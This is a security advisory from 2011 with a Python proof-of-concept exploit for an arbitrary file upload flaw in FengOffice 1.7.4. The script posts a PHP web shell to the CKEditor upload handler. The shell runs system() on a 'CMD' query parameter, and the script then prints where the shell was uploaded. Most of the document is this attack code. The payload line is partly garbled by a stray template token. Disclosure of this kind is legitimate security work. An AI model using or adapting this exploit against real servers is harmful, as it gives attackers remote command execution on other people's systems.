# ------------------------------------------------------------------------
# Software................FengOffice 1.7.4
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://www.fengoffice.com
# Vendor Contact Date.....3/11/2011
# Disclosure Date.........3/25/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# An arbitrary upload vulnerability in FengOffice 1.7.4 can be exploited
# to upload a PHP shell.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/feng_community'
shell_path = '/tmp'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/public/assets/javascript/ckeditor/ck_upload_handler.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 195\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
           'Content-Type: application/octet-stream\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system(
___FCKpd___0
GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded to http://' + host + path + shell_path

upload_shell()